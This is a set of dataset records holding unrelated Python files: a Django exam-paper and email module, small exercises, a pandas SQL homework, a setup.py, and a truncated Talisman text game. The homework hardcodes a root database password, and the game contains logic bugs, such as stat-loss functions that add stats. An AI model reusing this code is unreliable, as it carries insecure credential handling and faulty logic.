False","sub_path":"option.py","file_name":"option.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"264480022","text":"from .script import Qp\nfrom .models import Question, Script\nfrom django.template.loader import render_to_string\nfrom django.conf import settings\nfrom django.utils.http import urlsafe_base64_encode\nfrom django.utils.http import urlsafe_base64_decode\nfrom django.utils.encoding import force_bytes\nfrom django.utils.encoding import force_text\nfrom django.contrib.auth.tokens import default_token_generator\nfrom django.template.loader import render_to_string\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.urls import reverse\n\n\ndef set(title, users):\n\tqp=Qp(title)\n\ttemplate_name=\"qheader.html\"\n\tfor user in users:\n\t\tscript=Script()\n\t\tscript.title=title\n\t\tscript.userid=user\n\t\tscript.save()\n\t\t\n\t\tqp.olotpalot()\n\t\tfor frag in qp.fullset:\n\t\t\tattempt=Question()\n\t\t\tattempt.statement=frag.question\n\t\t\tattempt.option1 = frag.options[0].choice\n\t\t\tattempt.option2 = frag.options[1].choice\n\t\t\tattempt.option3 = frag.options[2].choice\n\t\t\tattempt.option4 = frag.options[3].choice\n\t\t\tcount=1\n\t\t\tfor answer in frag.options:\n\t\t\t\tif answer.ans:\n\t\t\t\t\tattempt.correct_ans=count\n\t\t\t\tcount+=1\n\t\t\tattempt.script = script\n\t\t\tattempt.save()\n\ndef sendotlforexam(title):\n\tpapers=Script.objects.filter(send_otl_script=False).filter(title=title)\n\ttext_content=\"Your one time link Email\"\n\tsubject=\"Examination Script for \" + title\n\ttemplate_name=\"otl.html\"\n\tfrom_email=settings.EMAIL_HOST_USER\n\tfor paper in papers:\n\t\trecipients=[paper.userid.email]\n\n\t\tkwargs = {\n\t\t\t\"scriptid64\" : urlsafe_base64_encode(force_bytes(paper.id)),\n\t\t\t\"token\" : default_token_generator.make_token(paper.userid)\n\t\t}\n\t\tthe_url = reverse(\"exam_request\", kwargs=kwargs)\n\t\totl_url = \"{0}://{1}{2}\".format(\"http\", \"www.drylab.in:8000\", the_url)\n\n\t\tcontext = {\n\t\t\t'user': paper.userid,\n\t\t\t'otl_url': otl_url,\n\t\t}\n\t\thtml_content = render_to_string(template_name, context)\n\t\temail = EmailMultiAlternatives(subject, text_content, from_email, recipients)\n\t\temail.attach_alternative(html_content, \"text/html\")\n\t\temail.send()\n\t\tpaper.send_otl_script=True\n\t\tpaper.save()\n\t\tprint(\"Mail has been sent to {0}\\n\".format(paper.userid.email))\n\ndef evaluate(title):\n\tpapers=Script.objects.filter(received_script=True).filter(title=title)\n\tfor paper in papers:\n\t\tpaper.number_scored = 0\n\t\tref=paper.question_set.all()\n\t\tif paper.user_ans0 == ref[0].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans1 == ref[1].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans2 == ref[2].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans3 == ref[3].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans4 == ref[4].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans5 == ref[5].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans6 == ref[6].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans7 == ref[7].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans8 == ref[8].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tif paper.user_ans9 == ref[9].correct_ans:\n\t\t\tpaper.number_scored += 1\n\t\tpaper.save()\n\t\t\t\n\t\n\ndef sendresult(title):\n\tpapers=Script.objects.filter(received_script=True).filter(send_result=False).filter(title=title)\n\ttext_content=\"Your result for exam in \" + title\n\tsubject=\"Examination result for \" + title\n\ttemplate_name=\"result.html\"\n\tfrom_email=settings.EMAIL_HOST_USER\n\tfor paper in papers:\n\t\trecipients = [paper.userid.email]\n\t\tcontext = {\n\t\t\t'script' : paper,\n\t\t\t'questions' : paper.question_set.all()\n\t\t}\n\t\thtml_content = render_to_string(template_name, context)\n\t\temail = EmailMultiAlternatives(subject, text_content, from_email, recipients)\n\t\temail.attach_alternative(html_content, \"text/html\")\n\t\temail.send()\n\t\tpaper.send_result=True\n\t\tprint(\"Mail has been sent to {0}\\n\".format(paper.userid.email))\n","sub_path":"exam/papersetting.py","file_name":"papersetting.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"409790496","text":"x=[0]*10\nlista=[]\ntot=0\ndias=0\nfor i in range(10):\n x[i]=int(input())\n tot+=x[i]\n lista.append(x[i])\nmedia=tot/10\nfor i in range(10):\n if x[i]>media:\n dias+=1\nlista.sort()\nprint(lista[1])\nprint(lista[-1])\nprint(media)\nprint(dias)","sub_path":"Vetor/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"36009","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2020/8/16\n# @Author : xh.w\n# @File : job.py.py\n# 作业要求：请将以下的 SQL 语句翻译成 pandas语句\n\nimport pandas as pd\n\nimport pymysql\n\n\nsql = 'SELECT * FROM movies_info'\nconnect = pymysql.connect(\n host='192.168.3.87',\n port=3306,\n user='root',\n password='123456',\n db='test'\n)\n\n# 1. SELECT * FROM data;\ndf = pd.read_sql(sql, connect)\n\n# 2. SELECT * FROM data LIMIT 10;\ndf.head(10)\n# 3. SELECT id FROM data; //id 是 data 表的特定一列\ndf['id']\n# 4. SELECT COUNT(id) FROM data;\ndf['id'].count()\n# 5. SELECT * FROM data WHERE id<1000 AND age>30;\ndf[(df['id'] < 1000) & (df['age'] > 30)]\n# 6. SELECT id,COUNT(DISTINCT order_id) FROM table1 GROUP BY id;\ndf.groupby('id')['order_id'].count()\n# 7. SELECT * FROM table1 t1 INNER JOIN table2 t2 ON t1.id = t2.id;\npd.merge(table1, table2, on= 'id', how='inner')\n# 8. SELECT * FROM table1 UNION SELECT * FROM table2;\npd.concat([table1, table2])\n# 9. DELETE FROM table1 WHERE id=10;\ndf.drop(11, axis=0)\n# 10. ALTER TABLE table1 DROP COLUMN column_name;\ndf.drop('column_name', axis=1)\n\n","sub_path":"week04/homework/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"333216103","text":"from setuptools import setup, find_packages\nimport os\nimport jetpack\n\nhere = os.path.abspath(os.path.dirname(__file__))\ntry:\n README = open(os.path.join(here, 'README.md')).read()\nexcept IOError:\n README = ''\n\nsetup(name='jetpack',\n version=jetpack.__version__,\n author='Niru Maheswaranathan',\n author_email='nirum@stanford.edu',\n url='https://github.com/nirum/jetpack.git',\n requires=['numpy', 'scipy', 'matplotlib', 'emoji'],\n long_description=README,\n packages=find_packages(),\n license='LICENSE.md'\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"189702616","text":"'''\nTalisman v0.2\n\nRoadmap:\nPlaces\nObjects\nFollowers\nPurchases\nSentinel\n\ninitialized in trinket.io\nknown bugs:\nfate reroll mechanic\npaying off Bandit\n'''\n\n# region: Initalization\nimport random as r # Random Module\n\nerror=\"\\nUh, I'm not quite sure what that means. Please try again: \" # Error Prompt\nimplem=\"Unfortunately this feature has not yet been implemented.\" # Implementation Error Prompt\n\n# Outer Region Board\nouter=(\"Tavern\",\"Southwestern Fields\",\"Ruins\",\"Western Plains\",\"Forest\",\"Northwestern Fields\",\"Village\",\"Northern Fields\",\"Graveyard\",\"Northern Woods\",\"Sentinel Space\",\"Northern Hills\",\"Chapel\",\"Northeastern Fields\",\"Crags\",\"Eastern Plains\",\"Eastern Woods\",\"Southeastern Fields\",\"City\",\"Southern Fields\",\"Southern Hills\",\"Midsouthern Plains\",\"Southern Woods\",\"Southeastern Plains\")\n\n# Adventure Cards\nadventures = [\"Angel\",\"Blizzard\",\"Book of Spells\",\"Devil\",\"Evil Darkness\",\"Imp\",\"Magical Vortex\",\"Market Day\",\"Mephistopheles\",\"Pestilence\",\"Raiders\",\"Siren\",\"Storm\",\"Wolf\",\"Ape\",\"Bear\",\"Lion\",\"Serpent\",\"Giant\",\"Spectre\",\"Demon\",\"Enchanter\",\"Fairy\",\"Healer\",\"Hermit\",\"Mage\",\"Phantom\",\"Sorcerer\",\"Witch\",\"Alchemist\",\"Cursed by a Hag\",\"Gnome\",\"Maiden\",\"Mercenary\",\"Mule\",\"Pixie\",\"Poltergeist\",\"Prince\",\"Princess\",\"Unicorn\",\"Amulet\",\"Cross\",\"Holy Grail\",\"Magic Belt\",\"Orb of Knowledge\",\"Potion of Strength\",\"Ring\",\"Solomon's Crown\",\"Wand\",\"Holy Lance\",\"Runesword\",\"Raft\",\"Water Bottle\",\"Armour\",\"Helmet\",\"Shield\",\"Axe\",\"Cave\",\"Fountain of Wisdom\",\"Magic Portal\",\"Magic Stream\",\"Market\",\"Marsh\",\"Maze\",\"Pool of Life\",\"Shrine\"]+[\"Wild Boar\",\"Goblin\",\"Hobgoblin\",\"Bandit\",\"Ogre\",\"Lemure\",\"Shadow\",\"Ghost\",\"Wraith\",\"Guide\",\"Talisman\",\"Sword\"]*2+[\"Dragon\",\"Two Bags of Gold\"]*3+[\"Bag of Gold\"]*8\nevents = [\"Angel\",\"Blizzard\",\"Book of Spells\",\"Devil\",\"Evil Darkness\",\"Imp\",\"Magical Vortex\",\"Market Day\",\"Mephistopheles\",\"Pestilence\",\"Raiders\",\"Siren\",\"Storm\"]\nanimals = [\"Wild Boar\",\"Wolf\",\"Ape\",\"Bear\",\"Lion\",\"Serpent\"]\ndragons = [\"Dragon\"]\nmonsters = [\"Goblin\",\"Hobgoblin\",\"Bandit\",\"Ogre\",\"Giant\"]\nspirits = [\"Lemure\",\"Shadow\",\"Spectre\",\"Ghost\",\"Wraith\",\"Demon\"]\nenemies = animals + dragons + monsters + spirits\nstrangers = [\"Enchanter\",\"Fairy\",\"Healer\",\"Hermit\",\"Mage\",\"Phantom\",\"Sorcerer\",\"Witch\"]\nfollowers = [\"Alchemist\",\"Cursed by a Hag\",\"Gnome\",\"Guide\",\"Maiden\",\"Mercenary\",\"Mule\",\"Pixie\",\"Poltergeist\",\"Prince\",\"Princess\",\"Unicorn\"]\nobjects = [\"Amulet\",\"Cross\",\"Holy Grail\",\"Magic Belt\",\"Orb of Knowledge\",\"Potion of Strength\",\"Ring\",\"Solomon's Crown\",\"Talisman\",\"Wand\",\"Holy Lance\",\"Runesword\",\"Bag of Gold\",\"Raft\",\"Two Bags of Gold\",\"Water Bottle\",\"Armour\",\"Helmet\",\"Shield\",\"Axe\",\"Sword\"]\nmagicobjects = [\"Amulet\",\"Cross\",\"Holy Grail\",\"Magic Belt\",\"Orb of Knowledge\",\"Potion of Strength\",\"Ring\",\"Solomon's Crown\",\"Talisman\",\"Wand\",\"Holy Lance\",\"Runesword\"]\nweapons = [\"Holy Lance\",\"Runesword\",\"Axe\",\"Sword\"]\narmours = [\"Armour\",\"Helmet\",\"Shield\",\"Axe\",\"Sword\"]\n\n# Character Template\nemptydict={\n \"name\":\"\",\n \"start\":\"\",\n \"align\":\"\",\n \"strength\":0,\n \"craft\":0,\n \"life\":0,\n \"fate\":0,\n \"gold\":1,\n \"addinfo\":\"\",\n \"space\":\"\",\n \"mins\":0,\n \"minc\":0,\n \"maxl\":0,\n \"maxf\":0\n}\n\n# Cards on Spaces\nspacedict={}\nfor space in outer:\n spacedict.update({space:[]})\n\n# Dice Rolling\ndef roll():\n return r.choice(range(1,7))\n\n# Game Over\ndef gameover():\n print(\"\\nSorry, but that's the whole game at the moment. Check again later, more coming soon! In the meantime, check out your stats: \")\n print(\"Strength: {strength}\\nCraft: {craft}\\nGold: {gold}\\nFate: {fate}\\nLife: {life} \\nAlignment: {align}\".format(**chardict))\n quit()\n#endregion\n\n# region: Player functions\n# Lose Life\ndef wound():\n chardict[\"life\"]-=1\n if chardict[\"life\"]<=0:\n print(\"Sorry, you have died. GAME OVER\")\n gameover()\n# Heal Life\ndef heal(n):\n if chardict[\"life\"]+n<=chardict[\"maxl\"]:\n chardict[\"life\"]+=n\n if chardict[\"life\"]>=chardict[\"maxl\"]:\n chardict[\"life\"]=chardict[\"maxl\"]\n print(\"You are now at max life.\")\n else:\n print(\"Sorry, you are already at max life.\")\n# Lose Gold\ndef poor(n):\n if chardict[\"gold\"]-n>0:\n chardict[\"gold\"]-=n\n else:\n chardict[\"gold\"]=0\n print(\"You are now bankrupt.\")\n# Lose Strength\ndef weak():\n if chardict[\"strength\"]>chardict[\"mins\"]:\n chardict[\"strength\"]+=1\n else:\n print(\"Your strength is already at its minimum.\")\n# Lose Craft\ndef dumb():\n if chardict[\"craft\"]>chardict[\"minc\"]:\n chardict[\"craft\"]+=1\n else:\n print(\"Your craft is already at its minimum.\")\n# Lose Fate\ndef losefate():\n if chardict[\"fate\"]>1:\n chardict[\"fate\"]-=1\n else:\n print(\"Your have no fate left.\")\n# Replenish Fate\ndef replenish():\n if chardict[\"fate\"]>=chardict[\"maxf\"]:\n print(\"You are already at max fate.\")\n else:\n chardict[\"fate\"] = chardict[\"maxf\"]\n# Change Alignment\ndef realign(new):\n if chardict[\"align\"] != new: chardict[\"align\"] = new\n else: print(\"You were already {align}.\".format(**chardict))\n#endregion\n\n# region: Turns and battles\n# Game Turn\ndef turn():\n x=roll()\n while True:\n side=input(\"Would you like to move to the {} (1) or the {} (2)? \".format(outer[(outer.index(chardict[\"space\"])+x)%len(outer)],outer[(outer.index(chardict[\"space\"])-x)%len(outer)]))\n if side==\"1\":\n chardict[\"space\"]=outer[(outer.index(chardict[\"space\"])+x)%len(outer)]\n print(\"\\nYou are at the {space}.\".format(**chardict))\n encounter()\n break\n elif side==\"2\":\n chardict[\"space\"]=outer[(outer.index(chardict[\"space\"])-x)%len(outer)]\n print(\"\\nYou are at the {space}.\".format(**chardict))\n encounter()\n break\n else:\n print(error)\n# Battles\ndef battle(name,strength):\n charattack = roll() + chardict[\"strength\"]\n print(f\"Your attack score is {charattack}.\")\n enemyattack = roll() + strength\n print(f\"The {name}'s attack score is {enemyattack}.\")\n while chardict[\"fate\"] > 0:\n reroll = input(\"Would you like to reroll for 1 fate(Y/N)? \")\n if reroll==\"Y\":\n charattack = roll() + chardict[\"strength\"]\n print(f\"Your attack score is {charattack}.\")\n losefate()\n break\n elif reroll==\"N\": break\n else: print(error)\n if charattack > enemyattack:\n print(f\"You have killed the {name}.\")\n return 1\n elif charattack < enemyattack:\n print(f\"You have been defeated by the {name}.\")\n wound()\n return -1\n else:\n print(f\"You have reached a stand-off with the {name}.\")\n return 0\n# Psychic Combat\ndef psychic(name,craft):\n charattack = roll() + chardict[\"craft\"]\n print(f\"Your attack score is {charattack}.\")\n enemyattack = roll() + craft\n print(f\"The {name}'s attack score is {enemyattack}.\")\n while chardict[\"fate\"] > 0:\n reroll = input(\"Would you like to reroll for 1 fate(Y/N)? \")\n if reroll==\"Y\":\n charattack = roll() + chardict[\"craft\"]\n print(f\"Your attack score is {charattack}.\")\n losefate()\n break\n elif reroll==\"N\": break\n else: print(error)\n if charattack > enemyattack:\n print(f\"You have killed the {name}.\")\n return 1\n elif charattack < enemyattack:\n print(f\"You have been defeated by the {name}.\")\n wound()\n return -1\n else:\n print(f\"You have reached a stand-off with the {name}.\")\n return 0\n#endregion\n\n# Adventures\ndef adventure(card = None, prior = False):\n if card == None:\n card = r.choice(adventures)\n\n if card==\"Wild Boar\":\n print(\"There is a Wild Boar roaming this area.\")\n result = battle(\"Wild Boar\",1)\n elif card==\"Wolf\":\n print(\"A vicious Wolf now dwells this area.\")\n result = battle(\"Wolf\",2)\n elif card==\"Ape\":\n print(\"A savage Ape is terrorising this area.\")\n result = battle(\"Ape\",3)\n elif card==\"Bear\":\n print(\"A ferocious Bear is running amok in this area.\")\n result = battle(\"Bear\",3)\n elif card==\"Lion\":\n print(\"A Lion is preying on everything in this area.\")\n result = battle(\"Lion\",3)\n elif card==\"Serpent\":\n print(\"A Serpent has made its home in this area.\")\n result = battle(\"Serpent\",4)\n elif card==\"Dragon\":\n print(\"A fearsome Dragon is terrorising this area.\")\n result = battle(\"Dragon\",7)\n elif card==\"Goblin\":\n print(\"A Goblin is laying waste to this area.\")\n result = battle(\"Goblin\",2)\n elif card==\"Hobgoblin\":\n print(\"A brutal Hobgoblin is stalking this area.\")\n result = battle(\"Hobgoblin\",3)\n elif card==\"Bandit\":\n print(\"A Bandit is marauding in this area. He will not attack if you pay 1 gold. He will remain here until he is killed.\")\n if chardict[\"gold\"] > 0:\n while True:\n payment = input(\"Do you wish to pay the bandit off(Y/N)? \")\n if payment==\"Y\":\n poor(1)\n print(\"You have paid the bandit off.\")\n break\n elif payment==\"N\":\n break\n else:\n print(error)\n result = battle(\"Bandit\",4)\n elif card==\"Ogre\":\n print(\"An Ogre has decided this area is easy pickings.\")\n result = battle(\"Ogre\",5)\n elif card==\"Giant\":\n print(\"An immense Giant has set up residence in this area.\")\n result = battle(\"Giant\",6)\n elif card==\"Lemure\":\n print(\"This lowly creature from the Underworld pounces at you from the shadows.\")\n result = psychic(\"Lemure\",1)\n elif card==\"Shadow\":\n print(\"A Shadow is lurking in the dark corners of this area.\")\n result = psychic(\"Shadow\",2)\n elif card==\"Spectre\":\n print(\"A Spectre has appeared in this area.\")\n result = psychic(\"Spectre\",3)\n elif card==\"Ghost\":\n if \"Ghost\" in spacedict[chardict[\"space\"]]:\n print(\"A Ghost haunts this area.\")\n result = psychic(\"Ghost\",4)\n else:\n place = r.choice((\"City\",\"Village\",\"Graveyard\",\"Chapel\",\"Castle\"))\n print(f\"A Ghost materialises in the {place}. It now haunts this area and will remain until it is killed.\")\n spacedict[place].append(\"Ghost\")\n result = 1\n elif card==\"Wraith\":\n print(\"A Wraith is wreaking havoc in this area.\")\n result = psychic(\"Wraith\",5)\n elif card==\"Demon\":\n print(\"A Demon has appeared from the underworld to cause chaos in this area.\")\n result = psychic(\"Demon\",10)\n elif card==\"Angel\":\n print(\"An Angel has arrived.\")\n if chardict[\"align\"]==\"Good\":\n print(\"Gain 1 Life.\")\n chardict[\"life\"]+=1\n elif chardict[\"align\"]==\"Evil\":\n print(\"Lose 1 Life.\")\n wound()\n else:\n print(\"Nothing happens.\")\n result = 1\n elif card==\"Blizzard\":\n print(\"Winter has come with a vengeance and a Blizzard envelops the land. For two rounds, all characters, no matter what Region they are in, may only move one space per turn. The Blizzard then abates to the discard pile. \"+implem)\n result = 1\n elif card==\"Book of Spells\":\n print(\"You have found the fabled Book of Spells. You gain your full complement of Spells, according to your current Craft. \"+implem)\n result = 1\n elif card==\"Devil\":\n print(\"You are visited by a Devil.\")\n if chardict[\"align\"]==\"Good\":\n print(\"Lose 1 Life.\")\n wound()\n elif chardict[\"align\"]==\"Evil\":\n print(\"Gain 1 Life.\")\n chardict[\"life\"]+=1\n else:\n print(\"Nothing happens.\")\n result = 1\n elif card==\"Evil Darkness\":\n print(\"An Evil Darkness from the nether worlds sweeps the land. An Evil Darkness from the nether worlds sweeps the land. All characters except those of evil alignment must miss one turn. \"+implem)\n result = 1\n elif card==\"Imp\":\n place = r.choice((\"Crags\",\"Forest\",\"Tavern\",\"Ruins\")) # Add Hidden Valley and Cursed Glade\n print(f\"You meet a mischievous Imp. He teleports you to the {place}.\")\n chardict[\"space\"] = place\n result = 1\n elif card==\"Magical Vortex\":\n print(\"A Magical Vortex absorbs all Spells from every character. \"+implem)\n result = 1\n elif card==\"Market Day\":\n print(\"It's Market Day across the land. You may buy: a Sword (1G), a Helmet (1G), a Mule (2G), a Shield (2G), a Water Bottle (1G), or a Raft (3G). \"+implem)\n result = 1\n elif card==\"Mephistopheles\":\n print(\"You have been encountered by Mephistopheles on a mission to this land.\")\n if chardict[\"align\"]==\"Evil\":\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n else:\n print(\"You become Evil.\")\n realign(\"Evil\")\n result = 1\n elif card==\"Pestilence\":\n print(\"Pestilence has befouled this Region.\")\n wound()\n result = 1\n elif card==\"Raiders\":\n print(\"A band of Raiders attacks you and steals all your gold. They immediately stash the gold at the Oasis and retreat to their hide-out. Note: The Oasis has not yet been implemented.\") # Add gold to Oasis\n chardict[\"gold\"] = 0\n result = 1\n elif card==\"Siren\":\n print(\"A Siren's song can be heard throughout the Region. \"+implem) # All characters in Region miss 1 Turn\n result = 1\n elif card==\"Storm\":\n print(\"A Storm sweeps through this Region.\" +implem) # All the characters in this Region must miss 1 turn.\n result = 1\n elif card==\"Enchanter\":\n print(\"An Enchanter seeks an able adventurer.\")\n if chardict[\"craft\"] < 4:\n print(\"You do not have enough Craft.\")\n result = 0\n else:\n while True:\n enchant=input(\"Choose one: Gain 1 Spell (S), Gain 1 gold (G), Gain 1 Strength (S2), Gain 1 Craft (C), Gain 1 Life (L), Gain 1 Fate (F), or teleport to any space in this region (T). \")\n if enchant==\"S\":\n print(implem)\n break\n if enchant==\"G\":\n print(\"Gain 1 gold.\")\n chardict[\"gold\"]+=1\n break\n if enchant==\"S2\":\n print(\"Gain 1 Strength.\")\n chardict[\"strength\"]+=1\n break\n if enchant==\"C\":\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n break\n if enchant==\"L\":\n print(\"Gain 1 Life.\")\n chardict[\"life\"]+=1\n break\n if enchant==\"F\":\n print(\"Gain 1 fate.\")\n chardict[\"fate\"]+=1\n break\n if enchant==\"T\":\n options = list(enumerate(outer,1))\n while True:\n place = input(\"Would you like to move to the: {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), or {} ({})? \".format(*options))\n if place in range(1,25):\n chardict[\"space\"] = outer[place]\n break\n else: print(error)\n break\n else:\n print(error)\n result = 1\n elif card==\"Fairy\":\n print(\"A Fairy seeks a champion.\")\n if chardict[\"align\"] != \"Good\":\n print(\"You are not Good enough.\")\n else:\n while True:\n enchant=input(\"Choose one: Gain 1 Spell (S), Gain 1 gold (G), Gain 1 Strength (S2), Gain 1 Craft (C), Gain 1 Life (L), Gain 1 Fate (F), or teleport to any space in this region (T). \")\n if enchant==\"S\":\n print(implem)\n break\n if enchant==\"G\":\n print(\"Gain 1 gold.\")\n chardict[\"gold\"]+=1\n break\n if enchant==\"S2\":\n print(\"Gain 1 Strength.\")\n chardict[\"strength\"]+=1\n break\n if enchant==\"C\":\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n break\n if enchant==\"L\":\n print(\"Gain 1 Life.\")\n chardict[\"life\"]+=1\n break\n if enchant==\"F\":\n print(\"Gain 1 fate.\")\n chardict[\"fate\"]+=1\n break\n if enchant==\"T\":\n options = list(enumerate(outer,1))\n while True:\n place = input(\"Would you like to move to the: {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), or {} ({})? \".format(*options))\n if place in range(1,25):\n chardict[\"space\"] = outer[place]\n break\n else: print(error)\n break\n else:\n print(error)\n result = 1\n elif card==\"Healer\":\n print(\"A Healer has made his home here for the rest of the game. He will heal up to 2 lives per visit for any character landing here.\")\n heal(2)\n result = 0\n elif card==\"Hermit\":\n place = r.choice((\"Crags\",\"Forest\")) # Add Crypt, Plain of Peril, Cursed Glade, Oasis\n print(f\"The Hermit moves to the {place}. He will give the first person to visit him there a Talisman. \"+implem) # Implement\n result = 1\n elif card==\"Mage\":\n print(\"A kindly Mage has made his home here for the rest of the game. He will give one Spell per visit to each Good character landing here. \"+implem)\n result = 1\n elif card==\"Phantom\":\n print(\"A Phantom will haunt this space until it has granted the first evil character to visit it one of the following wishes.\")\n if chardict[\"align\"] != \"Evil\":\n print(\"You are not Evil enough.\")\n else:\n while True:\n enchant=input(\"Choose one: Gain 1 Spell (S), Gain 1 gold (G), Gain 1 Strength (S2), Gain 1 Craft (C), Gain 1 Life (L), Gain 1 Fate (F), or teleport to any space in this region (T). \")\n if enchant==\"S\":\n print(implem)\n break\n if enchant==\"G\":\n print(\"Gain 1 gold.\")\n chardict[\"gold\"]+=1\n break\n if enchant==\"S2\":\n print(\"Gain 1 Strength.\")\n chardict[\"strength\"]+=1\n break\n if enchant==\"C\":\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n break\n if enchant==\"L\":\n print(\"Gain 1 Life.\")\n chardict[\"life\"]+=1\n break\n if enchant==\"F\":\n print(\"Gain 1 fate.\")\n chardict[\"fate\"]+=1\n break\n if enchant==\"T\":\n options = list(enumerate(outer,1))\n while True:\n place = input(\"Would you like to move to the: {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), {} ({}), or {} ({})? \".format(*options))\n if place in range(1,25):\n chardict[\"space\"] = outer[place]\n break\n else: print(error)\n break\n else:\n print(error)\n result = 1\n elif card==\"Sorcerer\":\n print(\"A Sorcerer has set up shop here and will remain for the rest of the game. He sells Spells at the price of 1 gold per Spell. You may buy one Spell per visit. \"+implem)\n result = 1\n elif card==\"Witch\":\n print(\"A Witch lurks in this space for the rest of the game.\")\n witch = roll()\n if witch==1:\n print(\"Become a Toad for 3 turns. \"+implem)\n elif witch==2:\n print(\"Lose 1 Life.\")\n wound()\n elif witch==3:\n print(\"Gain 1 Strength.\")\n chardict[\"strength\"]+=1\n elif witch==4:\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n elif witch==5:\n print(\"Gain 1 Spell. \"+implem)\n elif witch==6:\n print(\"Replenish all fate.\")\n replenish()\n result = 0\n elif card==\"Cave\":\n print(\"This Cave will remain here. See what you discover: \")\n cavevent = roll()\n if cavevent==1:\n print(\"You encounter a Dragon.\")\n battle(\"Dragon\",7)\n elif cavevent==2:\n print(\"You encounter a Goblin.\")\n battle(\"Goblin\",2)\n elif cavevent==3:\n print(\"You are lost. \"+implem)\n elif cavevent==4 or cavevent == 5:\n print(\"Gain 2 gold.\")\n chardict[\"gold\"]+=2\n elif cavevent==6:\n print(\"Gain 3 gold.\")\n chardict[\"gold\"]+=3\n result = 0\n elif card==\"Fountain of Wisdom\":\n if prior == False:\n fountain = 4\n print(\"The Fountain of Wisdom is revealed. You may drink from the Fountain once per visit and gain 1 Craft. Once 4 Craft is taken, the Fountain shall vanish.\")\n chardict[\"craft\"]+=1\n fountain-=1\n result = 0\n else:\n print(\"You drink from the Fountain of Wisdom and gain 1 Craft.\")\n chardict[\"craft\"]+=1\n fountain-=1\n if fountain > 0:\n print(f\"There are {fountain} drinks remaining.\")\n result = 0\n else:\n print(\"The Fountain of Wisdom disappears.\")\n result = 1\n\n else:\n print(f\"You encounter a {card}. \"+implem)\n result = 1\n \n if result <= 0 and prior == False:\n spacedict[chardict[\"space\"]].append(card)\n elif result == 1 and prior == True:\n spacedict[chardict[\"space\"]].remove(card)\n \n if result <= 0 and card in enemies:\n return 0\n else:\n return 1\n\n# Encounters\ndef encounter():\n # Check if cards already exist\n count = len(spacedict[chardict[\"space\"]])\n for i in range(count):\n encounter = adventure(spacedict[chardict[\"space\"]][0],prior=True)\n if encounter == 0: return\n # Adventure Spaces\n if any(x in chardict[\"space\"] for x in [\"Fields\",\"Plains\",\"Woods\",\"Hills\",\"Sentinel\"]):\n if count == 0:\n encounter = adventure() # Draw an Adventure card\n if encounter == 0: return\n elif chardict[\"space\"] == \"Ruins\":\n for i in range(2-count):\n adventure()\n elif chardict[\"space\"]==\"Forest\":\n forevent=roll()\n if forevent==1:\n print(\"You are attacked by a brigand.\")\n result = battle(\"Brigand\",4)\n if result <= 0: return\n elif forevent<4:\n print(\"You are lost. \"+implem) # Miss a Turn\n elif forevent<6:\n print(\"You are safe.\")\n elif forevent==6:\n print(\"A Ranger guides you out. You gain 1 Craft.\")\n chardict[\"craft\"]+=1\n elif chardict[\"space\"]==\"Crags\":\n cragevent=roll()\n if cragevent==1:\n print(\"You are attacked by a spirit.\")\n result = psychic(\"Spirit\",4)\n if result <= 0: return\n elif cragevent<4:\n print(\"You are lost. \"+implem) # Miss a Turn\n elif cragevent<6:\n print(\"You are safe.\")\n elif cragevent==6:\n print(\"A Barbarian guides you out. Gain 1 Strength.\")\n chardict[\"strength\"]+=1\n elif chardict[\"space\"]==\"Graveyard\":\n if chardict[\"align\"]==\"Good\":\n print(\"You lose 1 Life.\")\n wound()\n elif chardict[\"align\"]==\"Neutral\":\n print(\"No effect.\")\n elif chardict[\"align\"]==\"Evil\":\n gravevent=roll()\n if gravevent==1:\n print(\"Miss 1 turn. \"+implem)\n elif gravevent<5:\n print(\"Heal 1 Life.\")\n heal(1)\n elif gravevent>=5:\n print(\"Gain 1 spell. \"+implem)\n elif chardict[\"space\"]==\"Tavern\":\n tavevent=roll()\n if tavevent==1:\n print(\"You get blind and drunk and collapse in a corner. \"+implem) # Miss a Turn\n if tavevent==2:\n print(\"You get tipsy and get in a fight with a farmer.\")\n result = battle(\"Farmer\",3)\n if result <= 0: return\n if 